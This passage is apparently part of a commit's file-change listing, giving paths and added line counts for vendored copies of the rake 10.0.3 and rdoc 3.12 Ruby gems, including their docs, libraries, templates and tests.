  1840. data/vendor/bundle/gems/rake-10.0.3/doc/example/main.c +11 -0
  1841. data/vendor/bundle/gems/rake-10.0.3/doc/glossary.rdoc +51 -0
  1842. data/vendor/bundle/gems/rake-10.0.3/doc/jamis.rb +591 -0
  1843. data/vendor/bundle/gems/rake-10.0.3/doc/proto_rake.rdoc +127 -0
  1844. data/vendor/bundle/gems/rake-10.0.3/doc/rake.1.gz +0 -0
  1845. data/vendor/bundle/gems/rake-10.0.3/doc/rakefile.rdoc +557 -0
  1846. data/vendor/bundle/gems/rake-10.0.3/doc/rational.rdoc +151 -0
  1847. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.4.14.rdoc +23 -0
  1848. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.4.15.rdoc +35 -0
  1849. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.5.0.rdoc +53 -0
  1850. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.5.3.rdoc +78 -0
  1851. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.5.4.rdoc +46 -0
  1852. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.6.0.rdoc +141 -0
  1853. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.7.0.rdoc +119 -0
  1854. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.7.1.rdoc +59 -0
  1855. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.7.2.rdoc +121 -0
  1856. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.7.3.rdoc +47 -0
  1857. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.0.rdoc +114 -0
  1858. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.2.rdoc +165 -0
  1859. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.3.rdoc +112 -0
  1860. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.4.rdoc +147 -0
  1861. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.5.rdoc +53 -0
  1862. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.6.rdoc +55 -0
  1863. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.8.7.rdoc +55 -0
  1864. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.0.rdoc +112 -0
  1865. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.1.rdoc +52 -0
  1866. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.2.2.rdoc +55 -0
  1867. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.2.rdoc +49 -0
  1868. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.3.rdoc +102 -0
  1869. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.4.rdoc +110 -0
  1870. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.5.rdoc +114 -0
  1871. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-0.9.6.rdoc +127 -0
  1872. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-10.0.0.rdoc +178 -0
  1873. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-10.0.1.rdoc +187 -0
  1874. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-10.0.2.rdoc +191 -0
  1875. data/vendor/bundle/gems/rake-10.0.3/doc/release_notes/rake-10.0.3.rdoc +191 -0
  1876. data/vendor/bundle/gems/rake-10.0.3/install.rb +90 -0
  1877. data/vendor/bundle/gems/rake-10.0.3/lib/rake/alt_system.rb +109 -0
  1878. data/vendor/bundle/gems/rake-10.0.3/lib/rake/application.rb +669 -0
  1879. data/vendor/bundle/gems/rake-10.0.3/lib/rake/backtrace.rb +18 -0
  1880. data/vendor/bundle/gems/rake-10.0.3/lib/rake/clean.rb +32 -0
  1881. data/vendor/bundle/gems/rake-10.0.3/lib/rake/cloneable.rb +16 -0
  1882. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/compositepublisher.rb +21 -0
  1883. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/ftptools.rb +151 -0
  1884. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/publisher.rb +73 -0
  1885. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/rubyforgepublisher.rb +16 -0
  1886. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/sshpublisher.rb +50 -0
  1887. data/vendor/bundle/gems/rake-10.0.3/lib/rake/contrib/sys.rb +1 -0
  1888. data/vendor/bundle/gems/rake-10.0.3/lib/rake/default_loader.rb +10 -0
  1889. data/vendor/bundle/gems/rake-10.0.3/lib/rake/dsl_definition.rb +156 -0
  1890. data/vendor/bundle/gems/rake-10.0.3/lib/rake/early_time.rb +18 -0
  1891. data/vendor/bundle/gems/rake-10.0.3/lib/rake/ext/core.rb +27 -0
  1892. data/vendor/bundle/gems/rake-10.0.3/lib/rake/ext/module.rb +0 -0
  1893. data/vendor/bundle/gems/rake-10.0.3/lib/rake/ext/string.rb +168 -0
  1894. data/vendor/bundle/gems/rake-10.0.3/lib/rake/ext/time.rb +15 -0
  1895. data/vendor/bundle/gems/rake-10.0.3/lib/rake/file_creation_task.rb +24 -0
  1896. data/vendor/bundle/gems/rake-10.0.3/lib/rake/file_list.rb +410 -0
  1897. data/vendor/bundle/gems/rake-10.0.3/lib/rake/file_task.rb +47 -0
  1898. data/vendor/bundle/gems/rake-10.0.3/lib/rake/file_utils.rb +114 -0
  1899. data/vendor/bundle/gems/rake-10.0.3/lib/rake/file_utils_ext.rb +146 -0
  1900. data/vendor/bundle/gems/rake-10.0.3/lib/rake/gempackagetask.rb +1 -0
  1901. data/vendor/bundle/gems/rake-10.0.3/lib/rake/invocation_chain.rb +51 -0
  1902. data/vendor/bundle/gems/rake-10.0.3/lib/rake/invocation_exception_mixin.rb +16 -0
  1903. data/vendor/bundle/gems/rake-10.0.3/lib/rake/loaders/makefile.rb +40 -0
  1904. data/vendor/bundle/gems/rake-10.0.3/lib/rake/multi_task.rb +13 -0
  1905. data/vendor/bundle/gems/rake-10.0.3/lib/rake/name_space.rb +25 -0
  1906. data/vendor/bundle/gems/rake-10.0.3/lib/rake/packagetask.rb +185 -0
  1907. data/vendor/bundle/gems/rake-10.0.3/lib/rake/pathmap.rb +1 -0
  1908. data/vendor/bundle/gems/rake-10.0.3/lib/rake/phony.rb +15 -0
  1909. data/vendor/bundle/gems/rake-10.0.3/lib/rake/private_reader.rb +20 -0
  1910. data/vendor/bundle/gems/rake-10.0.3/lib/rake/promise.rb +99 -0
  1911. data/vendor/bundle/gems/rake-10.0.3/lib/rake/pseudo_status.rb +24 -0
  1912. data/vendor/bundle/gems/rake-10.0.3/lib/rake/rake_module.rb +37 -0
  1913. data/vendor/bundle/gems/rake-10.0.3/lib/rake/rake_test_loader.rb +22 -0
  1914. data/vendor/bundle/gems/rake-10.0.3/lib/rake/rdoctask.rb +1 -0
  1915. data/vendor/bundle/gems/rake-10.0.3/lib/rake/ruby182_test_unit_fix.rb +25 -0
  1916. data/vendor/bundle/gems/rake-10.0.3/lib/rake/rule_recursion_overflow_error.rb +20 -0
  1917. data/vendor/bundle/gems/rake-10.0.3/lib/rake/runtest.rb +22 -0
  1918. data/vendor/bundle/gems/rake-10.0.3/lib/rake/task.rb +350 -0
  1919. data/vendor/bundle/gems/rake-10.0.3/lib/rake/task_argument_error.rb +7 -0
  1920. data/vendor/bundle/gems/rake-10.0.3/lib/rake/task_arguments.rb +78 -0
  1921. data/vendor/bundle/gems/rake-10.0.3/lib/rake/task_manager.rb +296 -0
  1922. data/vendor/bundle/gems/rake-10.0.3/lib/rake/tasklib.rb +22 -0
  1923. data/vendor/bundle/gems/rake-10.0.3/lib/rake/testtask.rb +198 -0
  1924. data/vendor/bundle/gems/rake-10.0.3/lib/rake/thread_history_display.rb +48 -0
  1925. data/vendor/bundle/gems/rake-10.0.3/lib/rake/thread_pool.rb +155 -0
  1926. data/vendor/bundle/gems/rake-10.0.3/lib/rake/trace_output.rb +19 -0
  1927. data/vendor/bundle/gems/rake-10.0.3/lib/rake/version.rb +13 -0
  1928. data/vendor/bundle/gems/rake-10.0.3/lib/rake/win32.rb +55 -0
  1929. data/vendor/bundle/gems/rake-10.0.3/lib/rake.rb +71 -0
  1930. data/vendor/bundle/gems/rake-10.0.3/test/file_creation.rb +34 -0
  1931. data/vendor/bundle/gems/rake-10.0.3/test/helper.rb +562 -0
  1932. data/vendor/bundle/gems/rake-10.0.3/test/test_private_reader.rb +42 -0
  1933. data/vendor/bundle/gems/rake-10.0.3/test/test_rake.rb +40 -0
  1934. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_application.rb +515 -0
  1935. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_application_options.rb +443 -0
  1936. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_backtrace.rb +89 -0
  1937. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_clean.rb +14 -0
  1938. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_definitions.rb +80 -0
  1939. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_directory_task.rb +57 -0
  1940. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_dsl.rb +40 -0
  1941. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_early_time.rb +31 -0
  1942. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_extension.rb +59 -0
  1943. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_file_creation_task.rb +56 -0
  1944. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_file_list.rb +628 -0
  1945. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_file_list_path_map.rb +8 -0
  1946. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_file_task.rb +122 -0
  1947. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_file_utils.rb +305 -0
  1948. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_ftp_file.rb +59 -0
  1949. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_functional.rb +496 -0
  1950. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_invocation_chain.rb +52 -0
  1951. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_makefile_loader.rb +44 -0
  1952. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_multi_task.rb +59 -0
  1953. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_name_space.rb +43 -0
  1954. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_package_task.rb +79 -0
  1955. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_path_map.rb +157 -0
  1956. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_path_map_explode.rb +34 -0
  1957. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_path_map_partial.rb +18 -0
  1958. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_pseudo_status.rb +21 -0
  1959. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_rake_test_loader.rb +21 -0
  1960. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_reduce_compat.rb +30 -0
  1961. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_require.rb +40 -0
  1962. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_rules.rb +327 -0
  1963. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task.rb +316 -0
  1964. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_argument_parsing.rb +103 -0
  1965. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_arguments.rb +88 -0
  1966. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_lib.rb +9 -0
  1967. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_manager.rb +157 -0
  1968. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_manager_argument_resolution.rb +19 -0
  1969. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_task_with_arguments.rb +171 -0
  1970. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_test_task.rb +120 -0
  1971. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_thread_pool.rb +123 -0
  1972. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_top_level_functions.rb +71 -0
  1973. data/vendor/bundle/gems/rake-10.0.3/test/test_rake_win32.rb +72 -0
  1974. data/vendor/bundle/gems/rake-10.0.3/test/test_thread_history_display.rb +91 -0
  1975. data/vendor/bundle/gems/rake-10.0.3/test/test_trace_output.rb +43 -0
  1976. data/vendor/bundle/gems/rdoc-3.12/DEVELOPERS.rdoc +141 -0
  1977. data/vendor/bundle/gems/rdoc-3.12/History.rdoc +962 -0
  1978. data/vendor/bundle/gems/rdoc-3.12/LEGAL.rdoc +27 -0
  1979. data/vendor/bundle/gems/rdoc-3.12/LICENSE.rdoc +57 -0
  1980. data/vendor/bundle/gems/rdoc-3.12/Manifest.txt +228 -0
  1981. data/vendor/bundle/gems/rdoc-3.12/README.rdoc +61 -0
  1982. data/vendor/bundle/gems/rdoc-3.12/RI.rdoc +57 -0
  1983. data/vendor/bundle/gems/rdoc-3.12/Rakefile +135 -0
  1984. data/vendor/bundle/gems/rdoc-3.12/TODO.rdoc +40 -0
  1985. data/vendor/bundle/gems/rdoc-3.12/bin/rdoc +40 -0
  1986. data/vendor/bundle/gems/rdoc-3.12/bin/ri +12 -0
  1987. data/vendor/bundle/gems/rdoc-3.12/lib/gauntlet_rdoc.rb +84 -0
  1988. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/alias.rb +111 -0
  1989. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/anon_class.rb +10 -0
  1990. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/any_method.rb +208 -0
  1991. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/attr.rb +134 -0
  1992. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/class_module.rb +619 -0
  1993. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/code_object.rb +305 -0
  1994. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/code_objects.rb +5 -0
  1995. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/comment.rb +225 -0
  1996. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/constant.rb +84 -0
  1997. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/context/section.rb +123 -0
  1998. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/context.rb +1136 -0
  1999. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/cross_reference.rb +175 -0
  2000. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/encoding.rb +90 -0
  2001. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/erbio.rb +37 -0
  2002. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/darkfish.rb +532 -0
  2003. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/json_index.rb +240 -0
  2004. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/markup.rb +171 -0
  2005. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/ri.rb +83 -0
  2006. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_footer.rhtml +5 -0
  2007. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_head.rhtml +16 -0
  2008. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_VCS_info.rhtml +18 -0
  2009. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_classes.rhtml +9 -0
  2010. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_in_files.rhtml +8 -0
  2011. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_includes.rhtml +16 -0
  2012. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_methods.rhtml +12 -0
  2013. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_navigation.rhtml +7 -0
  2014. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_pages.rhtml +12 -0
  2015. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_parent.rhtml +10 -0
  2016. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_search.rhtml +10 -0
  2017. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/_sidebar_sections.rhtml +10 -0
  2018. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/class.rhtml +165 -0
  2019. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/add.png +0 -0
  2020. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/brick.png +0 -0
  2021. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/brick_link.png +0 -0
  2022. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/bug.png +0 -0
  2023. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/bullet_black.png +0 -0
  2024. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/bullet_toggle_minus.png +0 -0
  2025. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/bullet_toggle_plus.png +0 -0
  2026. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/date.png +0 -0
  2027. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/delete.png +0 -0
  2028. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/find.png +0 -0
  2029. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/loadingAnimation.gif +0 -0
  2030. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/macFFBgHack.png +0 -0
  2031. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/package.png +0 -0
  2032. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/page_green.png +0 -0
  2033. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/page_white_text.png +0 -0
  2034. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/page_white_width.png +0 -0
  2035. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/plugin.png +0 -0
  2036. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/ruby.png +0 -0
  2037. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/tag_blue.png +0 -0
  2038. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/tag_green.png +0 -0
  2039. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/transparent.png +0 -0
  2040. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/wrench.png +0 -0
  2041. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/wrench_orange.png +0 -0
  2042. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/images/zoom.png +0 -0
  2043. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/index.rhtml +19 -0
  2044. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/js/darkfish.js +153 -0
  2045. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/js/jquery.js +18 -0
  2046. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/js/search.js +94 -0
  2047. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/page.rhtml +16 -0
  2048. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/rdoc.css +543 -0
  2049. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/darkfish/table_of_contents.rhtml +55 -0
  2050. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/json_index/js/navigation.js +142 -0
  2051. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator/template/json_index/js/searcher.js +228 -0
  2052. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/generator.rb +45 -0
  2053. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ghost_method.rb +6 -0
  2054. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/include.rb +110 -0
  2055. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/known_classes.rb +72 -0
  2056. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/attr_changer.rb +25 -0
  2057. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/attr_span.rb +29 -0
  2058. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/attribute.rb +51 -0
  2059. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/attribute_manager.rb +335 -0
  2060. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/blank_line.rb +27 -0
  2061. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/document.rb +148 -0
  2062. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/formatter.rb +173 -0
  2063. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/formatter_test_case.rb +698 -0
  2064. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/heading.rb +64 -0
  2065. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/include.rb +42 -0
  2066. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/indented_paragraph.rb +33 -0
  2067. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/inline.rb +1 -0
  2068. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/list.rb +82 -0
  2069. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/list_item.rb +86 -0
  2070. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/paragraph.rb +14 -0
  2071. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/parser.rb +504 -0
  2072. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/pre_process.rb +293 -0
  2073. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/raw.rb +69 -0
  2074. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/rule.rb +20 -0
  2075. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/special.rb +40 -0
  2076. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/text_formatter_test_case.rb +114 -0
  2077. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_ansi.rb +87 -0
  2078. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_bs.rb +78 -0
  2079. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_html.rb +394 -0
  2080. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_html_crossref.rb +156 -0
  2081. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_html_snippet.rb +268 -0
  2082. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_label.rb +55 -0
  2083. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_rdoc.rb +302 -0
  2084. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_table_of_contents.rb +56 -0
  2085. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_test.rb +69 -0
  2086. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/to_tt_only.rb +111 -0
  2087. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup/verbatim.rb +64 -0
  2088. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/markup.rb +813 -0
  2089. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/meta_method.rb +6 -0
  2090. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/method_attr.rb +384 -0
  2091. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/normal_class.rb +69 -0
  2092. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/normal_module.rb +64 -0
  2093. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/options.rb +1040 -0
  2094. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/c.rb +1024 -0
  2095. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/rd.rb +22 -0
  2096. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/ruby.rb +1816 -0
  2097. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/ruby_tools.rb +162 -0
  2098. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/simple.rb +61 -0
  2099. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser/text.rb +11 -0
  2100. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/parser.rb +242 -0
  2101. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rd/block_parser.ry +638 -0
  2102. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rd/inline.rb +71 -0
  2103. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rd/inline_parser.ry +593 -0
  2104. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rd.rb +95 -0
  2105. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rdoc.rb +532 -0
  2106. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/require.rb +51 -0
  2107. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ri/driver.rb +1174 -0
  2108. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ri/formatter.rb +5 -0
  2109. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ri/paths.rb +128 -0
  2110. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ri/store.rb +357 -0
  2111. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ri.rb +20 -0
  2112. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ruby_lex.rb +1334 -0
  2113. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/ruby_token.rb +458 -0
  2114. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/rubygems_hook.rb +220 -0
  2115. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/single_class.rb +21 -0
  2116. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/stats/normal.rb +48 -0
  2117. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/stats/quiet.rb +59 -0
  2118. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/stats/verbose.rb +45 -0
  2119. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/stats.rb +436 -0
  2120. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/task.rb +329 -0
  2121. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/test_case.rb +76 -0
  2122. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/text.rb +314 -0
  2123. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/token_stream.rb +95 -0
  2124. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/tom_doc.rb +232 -0
  2125. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc/top_level.rb +523 -0
  2126. data/vendor/bundle/gems/rdoc-3.12/lib/rdoc.rb +221 -0
  2127. data/vendor/bundle/gems/rdoc-3.12/test/README +1 -0
  2128. data/vendor/bundle/gems/rdoc-3.12/test/binary.dat +0 -0
  2129. data/vendor/bundle/gems/rdoc-3.12/test/hidden.zip.txt +1 -0
  2130. data/vendor/bundle/gems/rdoc-3.12/test/test.ja.large.rdoc +3 -0
  2131. data/vendor/bundle/gems/rdoc-3.12/test/test.ja.rdoc +10 -0
  2132. data/vendor/bundle/gems/rdoc-3.12/test/test.ja.txt +8 -0
  2133. data/vendor/bundle/gems/rdoc-3.12/test/test.txt +1 -0
  2134. data/vendor/bundle/gems/rdoc-3.12/test/test_attribute_manager.rb +117 -0
  2135. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_alias.rb +13 -0
  2136. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_any_method.rb +248 -0
  2137. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_attr.rb +136 -0
  2138. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_class_module.rb +814 -0
  2139. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_code_object.rb +297 -0
  2140. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_comment.rb +504 -0
  2141. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_constant.rb +15 -0
  2142. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_context.rb +791 -0
  2143. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_context_section.rb +53 -0
  2144. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_cross_reference.rb +176 -0
  2145. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_encoding.rb +188 -0
  2146. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_generator_darkfish.rb +151 -0
